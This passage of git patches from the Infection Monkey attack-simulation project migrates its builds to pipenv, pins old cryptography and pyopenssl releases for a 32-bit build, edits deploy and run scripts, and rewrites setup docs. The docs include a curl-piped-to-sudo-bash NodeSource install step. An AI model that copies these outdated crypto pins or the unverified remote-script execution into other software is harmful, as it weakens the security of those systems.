@@ -4,6 +4,8 @@ verify_ssl = true name = "pypi" [packages] +cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography +pyopenssl = "==0.14" # Later versions force cryptography >2.5, which fail 32 bit linux build cffi = ">=1.14" ecdsa = "==0.15" pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index cd778c50d39..c2176bef236 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "81b4c8e8913936ff78b2f79b0f471e10f34ad299562472db802ceb6d742a42ed" + "sha256": "85c789ef74643b5c346cade5e9f0ad2b0e4c4b62a4f332e4d941a93ee2f83d72" }, "pipfile-spec": 6, "requires": { @@ -61,19 +61,19 @@ }, "boto3": { "hashes": [ - "sha256:1d26f6e7ae3c940cb07119077ac42485dcf99164350da0ab50d0f5ad345800cd", - "sha256:3bf3305571f3c8b738a53e9e7dcff59137dffe94670046c084a17f9fa4599ff3" + "sha256:1e55df93aa47a84e2a12a639c7f145e16e6e9ef959542d69d5526d50d2e92692", + "sha256:eab42daaaf68cdad5b112d31dcb0684162098f6558ba7b64156be44f993525fa" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.17.53" + "version": "==1.17.54" }, "botocore": { "hashes": [ - "sha256:d5e70d17b91c9b5867be7d6de0caa7dde9ed789bed62f03ea9b60718dc9350bf", - "sha256:e303500c4e80f6a706602da53daa6f751cfa8f491665c99a24ee732ab6321573" + "sha256:20a864fc6570ba11d52532c72c3ccabab5c71a9b4a9418601a313d56f1d2ce5b", + "sha256:37ec76ea2df8609540ba6cb0fe360ae1c589d2e1ee91eb642fd767823f3fcedd" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.20.53" + "version": "==1.20.54" }, "certifi": { "hashes": [ @@ -182,21 +182,28 @@ }, "cryptography": { "hashes": [ - "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d", - "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959", - "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6", - "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873", - "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2", - "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713", - "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", - "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", - "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", - "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", - "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", - "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" + "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", + "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", + "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", + "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7", + "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079", + "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063", + "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401", + "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695", + "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85", + "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3", + "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad", + "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca", + "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd", + "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f", + "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159", + "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0", + "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e", + "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3", + "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00" ], - "markers": "python_version >= '3.6'", - "version": "==3.4.7" + "index": "pypi", + "version": "==2.5" }, "dnspython": { "hashes": [ @@ -753,11 +760,10 @@ }, "pyopenssl": { "hashes": [ - "sha256:4c231c759543ba02560fcd2480c48dcec4dae34c9da7d3747c508227e0624b51", - "sha256:818ae18e06922c066f777a33f1fca45786d85edfe71cd043de6379337a7f274b" + "sha256:a99db8e59c120138ad8a72eecedcc24b4510d2eed3ce48213b7e32f22cc4ee6e" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==20.0.1" + "index": "pypi", + "version": "==0.14" }, "pypykatz": { "hashes": [ @@ -824,10 +830,10 @@ }, "s3transfer": { "hashes": [ - "sha256:35627b86af8ff97e7ac27975fe0a98a312814b46c6333d8a6b889627bcd80994", - "sha256:efa5bd92a897b6a8d5c1383828dca3d52d0790e0756d49740563a3fb6ed03246" + "sha256:af1af6384bd7fb8208b06480f9be73d0295d965c4c073a5c95ea5b6661dccc18", + "sha256:f3dfd791cad2799403e3c8051810a7ca6ee1d2e630e5d2a8f9649d892bdb3db6" ], - "version": "==0.3.7" + "version": "==0.4.0" }, "scoutsuite": { "git": "git://github.com/guardicode/ScoutSuite", From c9b3d3a92d230e34a6870b05d6b2c59af34bfd53 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Apr 2021 15:24:54 +0300 Subject: [PATCH 0264/1360] Fixed pipenv bugs for linux deployment scripts --- deployment_scripts/deploy_linux.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 7e9debba267..51250947695 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -91,6 +91,7 @@ fi log_message "Cloning files from git" branch=${2:-"develop"} +log_message "Branch selected: ${branch}" if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error chmod 774 -R "${monkey_home}" @@ -147,13 +148,13 @@ pipx install pipenv log_message "Installing island requirements" pushd $ISLAND_PATH -pipenv install --dev +pipenv install --dev --system popd log_message "Installing monkey requirements" sudo apt-get install -y libffi-dev upx libssl-dev libc++1 pushd $INFECTION_MONKEY_DIR -pipenv install --dev +pipenv install --dev --system popd agents=${3:-true} From 6d0dcd4a7a021caffcef2bf085b455af1847ae3e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Apr 2021 09:53:11 -0400 Subject: [PATCH 0265/1360] appimage: Add clean.sh script --- appimage/clean.sh | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100755 appimage/clean.sh diff --git a/appimage/clean.sh b/appimage/clean.sh new file mode 100755 index 00000000000..45d6e175556 --- /dev/null +++ b/appimage/clean.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# This is a utility script to clean up after a failed or successful AppImage build +# in order to speed up development and debugging. + +rm -rf "$HOME/.monkey_island" +rm -rf "$HOME/squashfs-root" +rm -rf "$HOME/git/monkey" +rm "$HOME/appimage/Infection_Monkey-x86_64.AppImage" From 98c9b2a90731d4368ff12bab55cc8e14b50f7d3d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Apr 2021 10:28:00 -0400 Subject: [PATCH 0266/1360] appimage: Use pipenv to install python dependencies --- appimage/build_appimage.sh | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index b389c67db90..d4c6b6251af 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -134,14 +134,23 @@ copy_monkey_island_to_appdir() { install_monkey_island_python_dependencies() { log_message "Installing island requirements" + log_message "Installing pipenv" + "$APPDIR"/AppRun -m pip install pipenv || handle_error + requirements_island="$ISLAND_PATH/requirements.txt" - # TODO: This is an ugly hack. PyInstaller and VirtualEnv are build-time - # dependencies and should not be installed as a runtime requirement. - cat "$requirements_island" | grep -Piv "virtualenv|pyinstaller" | sponge "$requirements_island" + generate_requirements_from_pipenv_lock $requirements_island + log_message "Installing island python requirements" "$APPDIR"/AppRun -m pip install -r "${requirements_island}" --ignore-installed || handle_error } +generate_requirements_from_pipenv_lock () { + log_message "Generating a requirements.txt file with 'pipenv lock -r'" + cd $ISLAND_PATH + "$APPDIR"/AppRun -m pipenv --python "$APPDIR/AppRun" lock -r > "$1" || handle_error + cd - +} + download_monkey_agent_binaries() { log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" mkdir -p "${ISLAND_BINARIES_PATH}" || handle_error From 7a1588152d4adb8b4c1f2c1d308a4a005ecaee28 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 07:41:11 -0400 Subject: [PATCH 0267/1360] zoo: remove requirements.txt --- envs/monkey_zoo/blackbox/requirements.txt | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 envs/monkey_zoo/blackbox/requirements.txt diff --git a/envs/monkey_zoo/blackbox/requirements.txt b/envs/monkey_zoo/blackbox/requirements.txt deleted file mode 100644 index 0e6bd0ea306..00000000000 --- a/envs/monkey_zoo/blackbox/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -pytest -unittest From de8e306786485f7eba4acb4d103850276d4c9756 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 19:32:09 -0400 Subject: [PATCH 0268/1360] Install python3.7-venv in deploy_linux.sh pipx requires ensurepip, which is provided by python3.7-venv --- deployment_scripts/deploy_linux.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 51250947695..d0c1b105473 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -118,7 +118,7 @@ if [[ ${python_cmd} == "" ]]; then log_message "Python 3.7 command not found. Installing python 3.7." sudo add-apt-repository ppa:deadsnakes/ppa sudo apt-get update - sudo apt-get install -y python3.7 python3.7-dev + sudo apt-get install -y python3.7 python3.7-dev python3.7-venv log_message "Python 3.7 is now available with command 'python3.7'." python_cmd="python3.7" fi From 051621bdfab2617417604f3c7e34c3561442faf1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 19:37:46 -0400 Subject: [PATCH 0269/1360] Modify monkey_island/linux/run.sh to use pipenv --- deployment_scripts/README.md | 4 ++-- monkey/monkey_island/linux/run.sh | 31 ++++++++++++++++++------------- 2 files changed, 20 insertions(+), 15 deletions(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 7281d0d4f1d..8a6c5d4a800 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -60,8 +60,8 @@ You may also pass in an optional third `false` parameter to disable downloading After the `deploy_linux.sh` script completes, you can start the monkey island. ```sh -cd infection_monkey/monkey -./monkey_island/linux/run.sh +cd infection_monkey/monkey/monkey_island +pipenv run ./linux/run.sh ``` ## Pre-commit hooks diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 2a5c45bbed2..a284ffa837a 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -1,16 +1,21 @@ #!/bin/bash -# Detecting command that calls python 3.7 -python_cmd="" -if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python" -fi -if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python37" -fi -if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python3.7" -fi +start_mongo() { + # TODO: Handle starting and cleaning up mongo inside monkey_island.py or + # monkey_island/main.py. + ./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db & +} -./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db & -${python_cmd} ./monkey_island.py +cd_to_monkey() { + # Pipenv must be run from monkey/monkey/monkey_island, but monkey_island.py + # must be executed from monkey/monkey. + cd .. +} + +start_monkey_island() { + cd_to_monkey + python ./monkey_island.py +} + +start_mongo +start_monkey_island From 20a575ecb7df9d6c46bcb813bb46c59b9fb9241c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 20:26:21 -0400 Subject: [PATCH 0270/1360] Add note about $PATH in deployment_scripts/README.md --- deployment_scripts/README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 8a6c5d4a800..7f4e414bd3b 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -59,6 +59,9 @@ You may also pass in an optional third `false` parameter to disable downloading After the `deploy_linux.sh` script completes, you can start the monkey island. +Note: You'll need to run the commands below in a new shell in order to ensure +your PATH environment variable is up to date. + ```sh cd infection_monkey/monkey/monkey_island pipenv run ./linux/run.sh From 0120c027b0c49f28055a1682c8bd5ae24f7877e9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Apr 2021 17:48:22 +0300 Subject: [PATCH 0271/1360] Fixed run server bat script --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 15 ++++++++------- monkey/monkey_island/windows/run_server_py.bat | 4 ++-- 3 files changed, 11 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 4806ed5f354..c6ea85420c6 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,7 +5,6 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyopenssl = "==0.14" # Later versions force cryptography >2.5, which fail 32 bit linux build cffi = ">=1.14" ecdsa = "==0.15" pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} @@ -27,6 +26,7 @@ simplejson = "*" "WinSys-3.x" = ">=0.5.2" WMI = "==1.5.1" ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} +pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index c2176bef236..3490a765353 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "85c789ef74643b5c346cade5e9f0ad2b0e4c4b62a4f332e4d941a93ee2f83d72" + "sha256": "9e2bdb6ba58373ea908538ca0759468219562e5f867636c68c9656feab3188f1" }, "pipfile-spec": 6, "requires": { @@ -233,7 +233,7 @@ "hashes": [ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", "version": "==0.18.2" }, "httpagentparser": { @@ -326,7 +326,7 @@ "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", "version": "==0.10.0" }, "ldap3": { @@ -760,10 +760,11 @@ }, "pyopenssl": { "hashes": [ - "sha256:a99db8e59c120138ad8a72eecedcc24b4510d2eed3ce48213b7e32f22cc4ee6e" + "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200", + "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6" ], "index": "pypi", - "version": "==0.14" + "version": "==19.0.0" }, "pypykatz": { "hashes": [ @@ -794,7 +795,7 @@ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", "version": "==2.8.0" }, "pytz": { @@ -895,7 +896,7 @@ "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", "version": "==1.15.0" }, "sqlitedict": { diff --git a/monkey/monkey_island/windows/run_server_py.bat b/monkey/monkey_island/windows/run_server_py.bat index 07a587f492c..90d81c9b71b 100644 --- a/monkey/monkey_island/windows/run_server_py.bat +++ b/monkey/monkey_island/windows/run_server_py.bat @@ -1,5 +1,5 @@ REM - Runs MongoDB Server & Monkey Island Server using python - if not exist db mkdir db start windows\run_mongodb.bat -start windows\run_cc.bat -start https://localhost:5000 \ No newline at end of file +pipenv run windows\run_cc.bat +start https://localhost:5000 From 6e2f473f0280c38d7117a9fa0b5904f3f6756c25 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 14:14:45 -0400 Subject: [PATCH 0272/1360] Removing unused docker build scripts --- docker/.dockerignore | 1 - docker/Dockerfile | 24 ------------------------ docker/README.md | 11 ----------- docker/docker-compose.yml | 22 ---------------------- 4 files changed, 58 deletions(-) delete mode 100644 docker/.dockerignore delete mode 100644 docker/Dockerfile delete mode 100644 docker/README.md delete mode 100644 docker/docker-compose.yml diff --git a/docker/.dockerignore b/docker/.dockerignore deleted file mode 100644 index dd449725e18..00000000000 --- a/docker/.dockerignore +++ /dev/null @@ -1 +0,0 @@ -*.md diff --git a/docker/Dockerfile b/docker/Dockerfile deleted file mode 100644 index aec69fd32e3..00000000000 --- a/docker/Dockerfile +++ /dev/null @@ -1,24 +0,0 @@ -FROM debian:stretch-slim - -LABEL MAINTAINER="theonlydoo " - -ARG RELEASE=1.8.0 -ARG DEBIAN_FRONTEND=noninteractive - -EXPOSE 5000 - -WORKDIR /app - -ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz . - -RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ - && apt-get -yqq update \ - && apt-get -yqq upgrade \ - && apt-get -yqq install python-pip \ - python-dev \ - && dpkg -i *.deb \ - && rm -f *.deb *.tgz - -WORKDIR /var/monkey -ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"] -CMD ["/var/monkey/monkey_island.py"] diff --git a/docker/README.md b/docker/README.md deleted file mode 100644 index 76873006196..00000000000 --- a/docker/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# Improvements needed - -* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro. -* Package monkey for system's python usage. -* Fix package number: (I installed the 1.5.2) -``` -ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package -``` -* Use .deb dependencies for mongodb setup? -* Use docker-compose for stack construction. -* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run` \ No newline at end of file diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml deleted file mode 100644 index 94a81b00e0c..00000000000 --- a/docker/docker-compose.yml +++ /dev/null @@ -1,22 +0,0 @@ -version: '3.3' - -services: - db: - image: mongo:4 - restart: always - volumes: - - db_data:/data/db - environment: - MONGO_INITDB_DATABASE: monkeyisland - monkey: - depends_on: - - db - build: . - image: monkey:latest - ports: - - "5000:5000" - environment: - MONGO_URL: mongodb://db:27017/monkeyisland - -volumes: - db_data: From 57d655243389dec499041a6d5fc236f2b86e6477 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 08:40:13 -0400 Subject: [PATCH 0273/1360] docs: Add pipenv instructions to manual monkey setup guide for Linux --- monkey/monkey_island/readme.md | 49 +++++++++++++++++++++++----------- 1 file changed, 33 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index c16679b61ee..c59a7953505 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -48,36 +48,53 @@ ### On Linux +1. Set your current working directory to `monkey/`. + 1. Get python 3.7 and pip if your linux distribution doesn't have it built in (following steps are for Ubuntu 16): - `sudo add-apt-repository ppa:deadsnakes/ppa` - `sudo apt-get update` - - `sudo apt install python3.7 python3-pip python3.7-dev` + - `sudo apt install python3.7 python3-pip python3.7-dev python3.7-venv` - `python3.7 -m pip install pip` -2. Install required packages: + +1. Install pipx: + - `python3.7 -m pip install --user pipx` + - `python3.7 -m pipx ensurepath` + - `source ~/.profile` + +1. Install pipenv: + - `pipx install pipenv` + +1. Install required packages: - `sudo apt-get install libffi-dev upx libssl-dev libc++1 openssl` -3. Create the following directories in monkey island folder (execute from ./monkey): + +1. Install the Monkey Island python dependencies: + - `cd ./monkey_island` + - `pipenv sync --dev` + - `cd ..` + +1. Set the linux `run.sh` to be executible: + - `chmod u+x monkey_island/linux/run.sh` + +1. Create the following directories in monkey island folder (execute from ./monkey): - `mkdir -p ./monkey_island/bin/mongodb` - `mkdir -p ./monkey_island/db` - `mkdir -p ./monkey_island/cc/binaries` -4. Install the packages from monkey_island/requirements.txt: - - `sudo python3.7 -m pip install -r ./monkey_island/requirements.txt` +1. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). -5. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). - monkey-linux-64 - monkey binary for linux 64bit - + monkey-linux-32 - monkey binary for linux 32bit - + monkey-windows-32.exe - monkey binary for windows 32bit - + monkey-windows-64.exe - monkey binary for windows 64bit - + Also, if you're going to run monkeys on local machine execute: - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64` - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32` -6. Setup MongoDB (Use one of the two following options): +1. Setup MongoDB (Use one of the two following options): - Download MongoDB and extract it to monkey/monkey_island/bin/mongodb: 1. Run `./monkey_island/linux/install_mongo.sh ./monkey_island/bin/mongodb`. This will download and extract the relevant mongoDB for your OS. @@ -85,17 +102,17 @@ - Use already running instance of mongodb 1. Run `set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"`. Replace '' with address of mongo server -7. Generate SSL Certificate: +1. Generate SSL Certificate: - `cd ./monkey_island` - `chmod 755 ./linux/create_certificate.sh` - `./linux/create_certificate.sh` -8. Install npm and node by running: +1. Install npm and node by running: - `sudo apt-get install curl` - `curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -` - `sudo apt-get install -y nodejs` -9. Build Monkey Island frontend +1. Build Monkey Island frontend - cd to 'monkey_island/cc/ui' - `npm install sass-loader node-sass webpack --save-dev` - `npm update` @@ -103,4 +120,4 @@ #### How to run -1. When your current working directory is monkey, run `chmod 755 ./monkey_island/linux/run.sh` followed by `./monkey_island/linux/run.sh` (located under /linux) +1. From the `monkey/monkey_island` directory, run `pipenv run ./linux/run.sh` From 6412391ff83b102c6e5b939c80e43fe6cae1080a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 08:51:54 -0400 Subject: [PATCH 0274/1360] docs: Add pipenv instructions to manual monkey setup guide for Windows --- monkey/monkey_island/readme.md | 38 ++++++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index c59a7953505..0882aecfee1 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -8,12 +8,23 @@ ### On Windows 1. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. -2. Create folder "bin" under monkey\monkey_island -3. Place portable version of Python 3.7.4 + +1. Create folder "bin" under monkey\monkey_island + +1. Place portable version of Python 3.7.4 - Download and install from: -4. Install Island's requirements - - `python -m pip install -r monkey\monkey_island\requirements.txt` -4. Setup mongodb (Use one of the following two options): + +1. Install pipx + - `pip install --user -U pipx` + - `pipx ensurepath` + +1. Install pipenv + - `pipx install pipenv` + +1. From the `monkey\monkey_island` directory, install python dependencies: + - `pipenv sync --dev` + +1. Setup mongodb (Use one of the following two options): - Place portable version of mongodb 1. Download from: 2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb. @@ -23,21 +34,26 @@ - Use already running instance of mongodb 1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server -5. Place portable version of OpenSSL +1. Place portable version of OpenSSL - Download from: - Extract contents to monkey_island\bin\openssl -6. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 + +1. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 - Download and install from: -7. Generate SSL Certificate + +1. Generate SSL Certificate - run `./windows/create_certificate.bat` when your current working directory is monkey_island -8. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) + +1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) monkey-linux-64 - monkey binary for linux 64bit monkey-linux-32 - monkey binary for linux 32bit monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-64.exe - monkey binary for windows 64bit -9. Install npm + +1. Install npm - Download and install from: -10. Build Monkey Island frontend + +1. Build Monkey Island frontend - cd to 'monkey_island\cc\ui' - run 'npm update' - run 'npm run dist' From 6a54c1e85a92e5a9c9e23fefb2cfe1026dc7050b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 13:21:38 -0400 Subject: [PATCH 0275/1360] agent: Add sys_platform == win32 to Pipfile --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index c6ea85420c6..5ab0096fad5 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -24,7 +24,7 @@ requests = ">=2.24" urllib3 = "==1.25.8" simplejson = "*" "WinSys-3.x" = ">=0.5.2" -WMI = "==1.5.1" +WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 3490a765353..e351c8bd5a0 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9e2bdb6ba58373ea908538ca0759468219562e5f867636c68c9656feab3188f1" + "sha256": "e1f1176012139ef9cca4ca5e51e9b150729ae69c73f381e678fb9d0181318c64" }, "pipfile-spec": 6, "requires": { @@ -233,7 +233,7 @@ "hashes": [ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.18.2" }, "httpagentparser": { @@ -326,7 +326,7 @@ "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.10.0" }, "ldap3": { @@ -795,7 +795,7 @@ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.8.0" }, "pytz": { @@ -896,7 +896,7 @@ "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", 